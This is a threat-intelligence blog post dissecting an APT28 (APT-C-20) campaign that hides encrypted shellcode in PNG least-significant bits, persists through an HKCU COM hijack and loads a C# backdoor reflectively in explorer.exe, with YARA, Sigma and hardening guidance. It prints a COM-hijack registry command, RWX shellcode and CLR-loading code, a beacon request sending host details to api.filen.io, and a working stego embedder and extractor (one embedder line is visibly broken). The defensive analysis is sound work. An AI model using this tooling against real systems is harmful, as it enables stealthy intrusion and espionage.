APT-C-20 / Fancy Bear’s PNG Steganography Campaign: LSB Payload Concealment, PBKDF2-Derived AES-256, and Reflective C# Loading Against Defense Ministries
A 469-byte Word document opens, shows garbage, and asks the user to enable macros. They do. A decoy memo about an Eastern European defense ministry fills the screen. Behind it, a DLL and an innocent-looking Edge logo have already hit disk, a registry key now hijacks a COM class, and within seconds a fully obfuscated C# backdoor is executing in the address space of explorer.exe without a single new executable ever touching the filesystem. This is the July 2026 APT-C-20 operation as documented by the 360 Advanced Threat Research Institute, and it is one of the cleaner examples I have seen of three separate evasion disciplines stacked into one chain.
Threat actor profile: APT-C-20 / Fancy Bear in 2026
360 ATRI attributed this campaign to APT-C-20, the tracking name they use for the group most of the industry knows as APT28 or Fancy Bear (MITRE ATT&CK group ID G0007). Public attribution ties APT28 to Russia’s GRU, specifically the 85th Main Special Service Center (GTsSS), military unit 26165. This is not a smash-and-grab crew. Unit 26165 has a long history of long-dwell espionage against government, military, and defense-industrial targets, and this operation fits that profile exactly: the payoff is quiet, persistent remote control over a defense ministry endpoint.
What makes this campaign worth dissecting is not any single novel primitive. LSB steganography is decades old. PBKDF2 and AES-256-CBC are textbook. Reflective loading and CLR hosting are in every red-teamer’s toolkit. The refinement is in the composition. Each layer defeats a different class of defender:
- The steganography defeats static file scanning of the payload, because the payload is not a file, it is a statistical property of an image.
- The runtime PBKDF2/AES decryption defeats YARA and sandbox extraction, because the plaintext exists only in memory for milliseconds.
- The reflective CLR load defeats disk-based EDR and image-load monitoring, because the C# assembly never becomes a PE on disk.
- The Filen.io C2 defeats network reputation and blocklists, because the traffic is TLS 1.3 to a legitimate cloud-storage API that real employees use.
You cannot kill this chain with one control. That is the entire point, and it drives everything in the detection section at the end.
The kill chain at a glance
| Stage | Action | Key artifact | ATT&CK |
|---|---|---|---|
| 0 | Macro-enabled dropper, decoy displayed | readme.docm | T1566.001, T1204.002, T1059.005 |
| 1 | COM hijack persistence in HKCU | dnxstore.dll, CLSID {68DDBB56...} | T1546.015, T1574.001 |
| 2 | LSB extraction from PNG | EdgeLogo.png | T1027.003 |
| 3 | PBKDF2 key derivation, AES-256-CBC decrypt | salt + IV in pixels | T1140 |
| 4 | Reflective shellcode, in-memory CLR host | RWX region in explorer.exe | T1055, T1620 |
| 5 | C# backdoor beacons to cloud storage | Publish.exe, api.filen.io | T1071.001, T1102.002, T1041 |
Hold that table in your head. The rest of this post drills into each row.

Stage 1: macro dropper and COM hijacking deep dive
The dropper is deliberately tiny, roughly 469 bytes of visible content, showing garbled text until macros are enabled. That garbling is the social-engineering hook: the “you must enable content to view this document” pattern that defense-ministry staff have been trained against for a decade and still fall for. Once macros run, the VBA does two things. It swaps in a plausible decoy page so the human sees something legitimate, and it drops two files: dnxstore.dll and EdgeLogo.png.
Persistence is where the tradecraft shows. Instead of a Run key or a scheduled task, APT-C-20 registers a user-space COM hijack:
reg add "HKCU\Software\Classes\CLSID\{68DDBB56-9D1D-4FD9-89C5-C0DA2A625392}\InProcServer32" /ve /t REG_SZ /d "C:\Users\victim\AppData\...\dnxstore.dll" /f
Three properties make this nasty:
- No elevation.
HKCU\Software\Classes\CLSIDis user-writable. There is no UAC prompt, no admin token, nothing. A standard user account is all the attacker needs. - HKCU wins. When a process resolves a CLSID, the per-user hive is consulted before the machine-wide
HKLMhive. If the target CLSID is one that a trusted process instantiates during normal operation, the hijacked DLL loads without any explicit launch. - The host is
explorer.exe. The chosen CLSID is one thatexplorer.exeresolves, so the malicious DLL loads inside a signed, heavily allowlisted process that already makes network calls, touches the registry, and reads files all day long. Every subsequent action inheritsexplorer.exe‘s reputation.
That last point matters for everything downstream. When the shellcode allocates RWX memory or beacons to a cloud API, it is explorer.exe doing it, and most rule sets give explorer.exe a wide berth.
Stage 2: LSB steganography, hiding the payload in plain sight
EdgeLogo.png looks like an Edge icon. Structurally it is a valid PNG that renders correctly in any viewer. The payload lives in the least significant bit of each color channel.
PNG matters here specifically because it is lossless. If the attacker used JPEG, the DCT-based lossy compression would destroy the LSB plane on the very next re-encode and the payload would corrupt. PNG’s DEFLATE compression preserves exact pixel values, so the LSBs survive intact. This is why steganographic malware almost always rides PNG or BMP, never JPEG.
The mechanics, as reported:
- The image is decoded and converted to RGBA, so all four channels (red, green, blue, alpha) carry data.
- One LSB per channel yields 4 bits per pixel, so capacity is
(width * height * 4) / 8bytes. A 512×512 RGBA image gives you512 * 512 * 4 / 8 = 131,072bytes of hidden capacity, far more than a shellcode stub needs. - The bitstream is packed back into bytes. The first bytes carry the salt and IV, followed by an encrypted 64-byte header describing a payload
offset(uint32) andsize(uint32), then the encrypted body. Integrity is checked with a SHA-1 tag before decryption proceeds.
Here is a working extractor. This reads the LSB plane and packs it into a byte array exactly the way the loader does:
# lab_extract.py (analysis side)
from PIL import Image
def extract_lsb_bytes(img_path: str) -> bytes:
img = Image.open(img_path).convert("RGBA")
bits = []
for px in img.getdata(): # px = (R, G, B, A)
for channel in px:
bits.append(channel & 1) # pull the least significant bit
# pack 8 bits into each byte, MSB-first
raw = bytearray()
for i in range(0, len(bits) - 7, 8):
byte = 0
for b in bits[i:i + 8]:
byte = (byte << 1) | b
raw.append(byte)
return bytes(raw)
Note the design decision the malware author made: the header itself is encrypted. You cannot just extract the LSBs and read where the payload is. You have to derive the key first. That leads straight into stage 3.

Stage 3: reversing the PBKDF2 / AES-256-CBC key derivation
The 360 report confirms the crypto stack: an AES-256 key derived with PBKDF2, with the salt and IV both lifted from the pixel stream. What is not publicly confirmed is the iteration count or whether the PRF is HMAC-SHA1 or HMAC-SHA256. I want to be honest about that gap rather than paper over it. In the lab reconstruction below I use PBKDF2-HMAC-SHA256 with 100,000 iterations because that is a sane modern default, but treat those two values as unconfirmed lab assumptions, not campaign IOCs. If you are reversing the real dnxstore.dll, read the actual arguments passed to the CryptoAPI or .NET Rfc2898DeriveBytes constructor and use those.
The important conceptual points:
Why PBKDF2 at all. The “password” is an internal secret baked into the DLL. PBKDF2 stretches that secret across many HMAC iterations so the derived key is expensive to brute-force. For a defender, this means recovering the plaintext requires either the embedded password (pull it from the DLL) or the derived key from a memory dump. You are not going to guess it.
Why the salt and IV live in the pixels. By embedding salt and IV in the carrier, the attacker makes every carrier self-contained. There is no external config, no hardcoded IV in the DLL to signature. Change the salt, re-embed, and the ciphertext bytes look completely different even for the same payload.
Why CBC with an attacker-chosen IV is fine for them. CBC’s weaknesses (padding oracles, malleability) matter when an attacker controls ciphertext against a victim’s key. Here the attacker owns both ends. They just want a fast, ubiquitous, easy-to-implement symmetric cipher that both a native loader and a .NET stager can decrypt. AES-256-CBC with PKCS#7 padding fits.
The decryptor mirrors the loader’s runtime logic:
# lab_extract.py (continued)
import hashlib, struct
from Crypto.Cipher import AES
def decrypt_payload(raw: bytes, password: bytes,
iterations: int = 100_000) -> bytes:
salt = raw[:16]
iv = raw[16:32]
key = hashlib.pbkdf2_hmac("sha256", password, salt, iterations, dklen=32)
# 1) decrypt the 64-byte header to learn offset + size
header = AES.new(key, AES.MODE_CBC, iv).decrypt(raw[32:32 + 64])
offset, size = struct.unpack_from("<II", header, 0)
# 2) decrypt the actual body
body = AES.new(key, AES.MODE_CBC, iv).decrypt(raw[offset:offset + size])
pad = body[-1] # PKCS#7 pad length
return body[:-pad]
Run the extractor, feed the bytes to the decryptor with the recovered password, strip PKCS#7, and you are holding the stage-4 shellcode.
Stage 4: reflective shellcode and in-memory CLR hosting
The decrypted blob is position-independent shellcode. Its job is not to be the malware. Its job is to bootstrap the .NET runtime in memory and hand off to the real payload, the C# assembly Publish.exe, without that assembly ever existing as a file.
The native primitives are the ones you would expect:
// conceptual reflective stub (native side)
LPVOID mem = VirtualAlloc(NULL, sc_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE); // RWX region
RtlCopyMemory(mem, shellcode, sc_len); // copy decrypted stub
((void(*)())mem)(); // transfer execution
That RWX allocation inside explorer.exe, backed by no image on disk, is one of the loudest behavioral tells in the whole chain. Hold that thought for detection.
From there the shellcode hosts the CLR. There are two canonical routes, and the report points at CLR bootstrapping. The classic native path:
// host the .NET runtime, then run a managed assembly from memory
ICLRRuntimeHost *host = NULL;
CorBindToRuntimeEx(L"v4.0.30319", L"wks", 0,
CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost,
(PVOID*)&host);
host->Start();
DWORD ret = 0;
host->ExecuteInDefaultAppDomain(L"...", L"Entry", L"Main", L"", &ret);
The more evasive route, once any CLR is resident, is to call Assembly.Load(byte[]) directly and invoke the entry point via reflection. This is the technique MITRE tracks as T1620, Reflective Code Loading, and it is why the C# Trojan never becomes a file:
// managed reflective load from a byte[] held only in memory
byte[] asmBytes = DecryptFromCarrier(); // never written to disk
Assembly a = Assembly.Load(asmBytes);
a.EntryPoint.Invoke(null, new object[] { new string[0] });
If you are tracing this live, the breakpoints that matter:
bp kernel32!VirtualAlloc ; catch the RWX allocation, inspect flProtect
bp kernel32!CreateThread ; catch the dispatch to shellcode
bp mscoree!CorBindToRuntimeEx ; catch CLR bootstrap
Break on VirtualAlloc, confirm flProtect == 0x40 (PAGE_EXECUTE_READWRITE), let the copy happen, and dump the region. You will find an MZ / PE\0\0 header for the C# assembly sitting in private memory. Carve it out and drop it into dnSpy to decompile the Trojan even though it was never on disk.

Stage 5: the C# backdoor Publish.exe and Filen.io C2 anatomy
Publish.exe is the payload, heavily obfuscated with name mangling and string encryption to slow analysis. Once resident it does the boring, effective espionage things:
- Fingerprints the victim. It builds a unique identifier from the username and domain name, then packages system details into a JSON message.
- Encrypts and beacons. The JSON is encrypted and shipped out over HTTPS.
The clever part is where it ships to. Instead of standing up attacker-owned C2 infrastructure that a defender can block on reputation, APT-C-20 abuses legitimate cloud storage, Filen.io, as the command-and-control channel. The reports note the same crews leaning on Icedrive and Koofr too, precisely because takedowns are painful when the provider also serves real paying customers.
The traffic profile is what makes this hard:
POST /v3/file/upload HTTP/2
Host: api.filen.io
Authorization: Bearer <token-from-attacker-controlled-account>
Content-Type: application/json
{"uuid":"<user+domain hash>","hostname":"...","domain":"...","ts":1752000000}
Command retrieval is the mirror image: the implant polls a directory listing or a shared folder path (something like /v3/dir/content) and pulls tasking down. TLS 1.3, valid certificate, real cloud-storage CDN IPs, standard bearer-token auth. On the wire it is visually indistinguishable from the legitimate Filen desktop client. Your NGFW sees an employee using cloud storage. Your DNS logs see api.filen.io, which is on nobody’s blocklist.
The delta is behavioral, not signature-based, and I will get to that.
Lab reproduction: building and attacking a benign target
Everything above is reproducible without touching real malware. Build these artifacts in an isolated VM with benign payloads only. The whole point is to exercise your detections, not to weaponize anything.
| Artifact | What it does | Payload |
|---|---|---|
lab_embed.py | PBKDF2+AES-256-CBC encrypt, then LSB-embed into a benign PNG | test data only |
lab_EdgeLogo.png | carrier output | benign |
lab_loader.dll | reads carrier, extracts, decrypts, VirtualAlloc, executes | shellcode pops calc.exe only |
lab_payload.cs | prints hostname + username and exits | not a backdoor |
readme_lab.docm | drops the DLL + PNG, writes the COM key | sandboxed VM only |
The embedder is the inverse of the extractor from stage 2, with the same crypto as stage 3:
# lab_embed.py (offense side)
import hashlib, os, struct
from PIL import Image
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
def embed(input_png, payload, password, output_png,
iterations=100_000):
salt, iv = os.urandom(16), os.urandom(16)
key = hashlib.pbkdf2_hmac("sha256", password, salt, iterations, 32)
header_offset = 32 + 64
body = AES.new(key, AES.MODE_CBC, iv).encrypt(pad(payload, 16))
header = struct.pack("<II", header_offset, len(body)) + b"\x00" * 56
hdr_ct = AES.new(key, AES.MODE_CBC, iv).encrypt(header)
blob = salt + iv + hdr_ct + body
bits = [(b >> i) & 1 for b in blob for i in range(7, -1, -1)]
img = Image.open(input_png).convert("RGBA")
px = list(img.getdata())
flat =
for i, bit in enumerate(bits):
flat[i] = (flat[i] & 0xFE) | bit
it = iter(flat)
img.putdata([tuple(next(it) for _ in range(4)) for _ in px])
img.save(output_png)
Register the COM key (stage 1 command above), trigger the load, and attach x64dbg to explorer.exe. Break on VirtualAlloc, watch the RWX region fill, then let it run and see calc.exe fire. Point Wireshark at your controlled Filen test account and filter:
tls.handshake.extensions_server_name contains "filen.io"
Compare the beacon cadence against the legitimate Filen client. The malicious flow has a giveaway rhythm: a single upload followed by a regular poll interval, over and over, with no interactive bursts. Real users sync in ragged, human-shaped bursts. That regularity is your hook.
YARA rules: PNG carrier and in-memory artifacts
Be honest about what YARA can and cannot do here. YARA cannot compute LSB-plane entropy natively. So the PNG rule is a first-pass filter (structure, size band, RGBA hint), and you confirm with a steganalysis pass (binwalk -E or a custom entropy script over the last-bit plane). Cipher output has near-uniform bit distribution, so a healthy chunk of high-entropy data sitting in the LSB plane of a logo is the real signal.
rule APT_C20_PNG_LSB_Carrier {
meta:
description = "PNG carrier consistent with APT-C-20 LSB stego (first-pass filter)"
author = "GenXCyber Research"
reference = "360 ATRI July 2026"
strings:
$png_sig = { 89 50 4E 47 0D 0A 1A 0A }
$iend = { 49 45 4E 44 AE 42 60 82 }
$rgba = "RGBA" ascii nocase
condition:
$png_sig at 0 and $iend
and filesize > 50KB and filesize < 2MB
// confirm with external LSB entropy analysis, not YARA alone
}
The memory rule targets the reflective stub and the CLR bootstrap. Run it against process memory (or a dump), not files on disk, because the interesting bytes never touch disk:
rule APT_C20_InMemory_CLR_Reflective_Loader {
meta:
description = "In-memory CLR bootstrap + cloud C2 strings, APT-C-20 pattern"
author = "GenXCyber Research"
strings:
$clr_bind = "CorBindToRuntimeEx" ascii wide
$clr_host = "ICLRRuntimeHost" ascii wide
$assembly = "Assembly" ascii wide
$filen_a = "api.filen.io" ascii nocase
$filen_c = "filen-cdn.io" ascii nocase
// VirtualAlloc RWX arg pattern (x64)
$rwx = { 41 B8 40 00 00 00 BA 00 30 00 00 } // r8d=0x40, edx=0x3000
condition:
(($clr_bind or $clr_host) and $assembly)
or ($rwx and ($filen_a or $filen_c))
}
Detection engineering: surviving steganographic and cloud-C2 camouflage
Here is my strong opinion: chasing the file artifacts of this campaign is a losing game. The payload is a statistical property, the plaintext lives for milliseconds, and the C2 destination is a legitimate business. Every static IOC decays the moment APT-C-20 changes a salt, re-embeds, or rotates a Filen account. Behavioral signals are the only durable detections, and the good news is this chain generates several that are hard to hide.
Sysmon telemetry that matters
| Event ID | Signal | Why it survives camouflage |
|---|---|---|
| 12/13 | Write to HKCU\Software\Classes\CLSID\*\InProcServer32 pointing at a DLL outside System32 / Program Files | User-space COM server registration is rare and hard to disguise |
| 11 | winword.exe / wscript.exe creating *.dll and *.png in %APPDATA% or %TEMP% | The drop chain is inherent to delivery |
| 7 | Unsigned DLL loaded into explorer.exe from \AppData\ or \Temp\ | The COM host cannot be changed without breaking persistence |
| 3 | HTTPS from explorer.exe to *.filen.io / filen-cdn.io | explorer.exe has no business talking to a cloud-storage API |
That last row is the crown jewel. The cloud-C2 camouflage works against destination reputation but it does nothing about the source process. Legitimate Filen traffic comes from the Filen client or a browser. It never comes from explorer.exe. A process-to-destination mismatch rule catches the beacon regardless of how legitimate the endpoint looks.
ETW providers
Microsoft-Windows-DotNETRuntime({e13c0d23-ccbc-4e12-931b-d9cc2eee27e4}):AssemblyLoadevents with no backing file path flagAssembly.Load(byte[]). This is the single best signal for the reflective load.Microsoft-Antimalware-Scan-Interface: with CLR AMSI integration enabled, the assembly bytes are scanned before execution, so ensureHKLM\SOFTWARE\Microsoft\.NETFramework\v4.0.30319\AmsiEnableis1.- Kernel process telemetry for
PAGE_EXECUTE_READWRITEprivate allocations in non-PE-backed regions inside trusted processes.
Sigma rule (the highest-value one)
title: Suspicious HKCU COM InProcServer32 Registration
status: experimental
logsource:
product: windows
category: registry_set
detection:
selection:
EventID: 13
TargetObject|contains: 'HKCU\Software\Classes\CLSID\'
TargetObject|endswith: '\InProcServer32'
Details|endswith: '.dll'
filter_legit:
Details|startswith:
- 'C:\Program Files\'
- 'C:\Windows\System32\'
condition: selection and not filter_legit
falsepositives:
- Per-user COM registration by some installers
level: high
tags:
- attack.persistence
- attack.t1546.015
Memory scanning
Deploy pe-sieve, Moneta, or an EDR configured to flag private RWX regions in explorer.exe and other trusted hosts. The decrypted C# assembly sits in one of those regions with an MZ header and no disk backing. That combination is very hard for the attacker to remove without abandoning the in-memory design entirely.
Hardening, ranked by impact
- Disable macros via Group Policy for non-developer users. The single most impactful control. No macro, no chain.
- Monitor HKCU COM registration with the Sigma rule above.
- Enable ASR rules: block Office child processes (
d4f940ab-401b-4efc-aadc-ad5f3c50688a) and block Office code injection (75668c1f-73b5-4cf0-bb93-3ecf5cb7cc84). - Egress control on cloud storage. In high-security environments, proxy or CASB rules restricting
api.filen.io,filen-cdn.io, Icedrive, and Koofr for managed endpoints, plus an alert on any non-browser process reaching a cloud-storage CDN. - Keep CLR AMSI on so
Assembly.Loadbyte arrays get scanned.

Key takeaways
- The novelty is composition, not primitives. LSB stego, PBKDF2/AES-256-CBC, and reflective CLR loading are each ordinary. Stacked, they defeat file scanning, sandbox extraction, and network reputation in sequence.
- Static IOCs on this campaign rot fast. A new salt or a rotated Filen account invalidates hashes and destinations. Invest in behavioral detection.
- The two signals that survive everything:
explorer.exetalking HTTPS to a cloud-storage API, and a.NET AssemblyLoadwith no backing file path. Build alerts on both today. - User-space COM hijacking (
HKCU\...\InProcServer32) needs no privileges and is trivially detectable if you are actually watching registry writes. Most orgs are not. - Do not fabricate the crypto parameters. The PBKDF2 iteration count and PRF for the real sample are unconfirmed publicly. Read them off the binary before you claim them.
- Kill it at the front door. Disabling macros collapses the entire chain before stage 1. Everything downstream is a fallback for when that control fails.
Related Tutorials
- Egghunters: Staged Payload Delivery When Buffer Space Is Tight
- Phishing Campaign Design: Pretexting, Lures, and Target Profiling
- APT Profiling: How to Build a Comprehensive Adversary Profile from Open-Source Intelligence
- Threat-Informed Defense: Principles, Frameworks, and the Intelligence-Driven Security Cycle
References
- www.cyware.com
- Fancy Bear Uses LSB Steganography and Reflective Loading to Run C# Remote-Control Trojan – GBHackers
- APT-C-20 Hackers Hide Shellcode in PNG Images to Launch Fileless C# Backdoor – CyberSecurityNews
- APT28’s Recent Campaign Combined Steganography, Cloud C2 Into A Modular Infection Chain – The Cyber Express
- APT28 Group Page (G0007) – MITRE ATT&CK
- Explorer COM Hijacking Attack Loads Shellcode From AES-Encrypted Steganographic PNG – CyberPress
- Steganography in Contemporary Cyberattacks – Kaspersky Securelist